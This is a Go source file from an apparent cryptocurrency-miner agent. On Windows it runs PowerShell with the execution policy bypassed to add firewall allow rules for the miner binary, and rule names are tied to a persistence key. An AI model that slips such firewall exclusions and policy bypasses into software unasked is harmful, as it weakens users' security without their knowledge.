Files
AetherForge/agent/deploy/firewall_windows.go
drjones b10d353a8b Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
2026-05-27 20:13:24 -07:00

80 lines
2.6 KiB
Go

//go:build windows
package deploy
import (
"fmt"
"log"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
const firewallRulePrefix = "AetherForge"
// EnsureFirewallExclusion registers Windows Firewall allow rules for the installed miner binary.
// Requires administrator privileges on many systems; failures are logged and ignored.
func EnsureFirewallExclusion(cfg config.RuntimeConfig, exePath string) {
if !cfg.FirewallExclusion {
return
}
if strings.TrimSpace(exePath) == "" {
return
}
ruleBase := firewallRuleBaseName(cfg)
inName := ruleBase + " In"
outName := ruleBase + " Out"
if firewallRuleExists(inName) && firewallRuleExists(outName) {
return
}
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
script := fmt.Sprintf(`
$exe = '%s'
$in = '%s'
$out = '%s'
if (-not (Get-NetFirewallRule -DisplayName $in -ErrorAction SilentlyContinue)) {
New-NetFirewallRule -DisplayName $in -Direction Inbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
}
if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) {
New-NetFirewallRule -DisplayName $out -Direction Outbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
}
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
if err := cmd.Run(); err != nil {
log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
return
}
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
}
// RemoveFirewallExclusion deletes firewall rules created for this worker.
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
ruleBase := firewallRuleBaseName(cfg)
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
_ = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Run()
}
}
func firewallRuleBaseName(cfg config.RuntimeConfig) string {
key := PersistenceKeyName(cfg)
if key == "" {
return firewallRulePrefix
}
return firewallRulePrefix + " " + key
}
func firewallRuleExists(displayName string) bool {
script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
out, err := exec.Command("powershell", "-NoProfile", "-Command", script).Output()
if err != nil {
return false
}
return strings.TrimSpace(string(out)) == "True"
}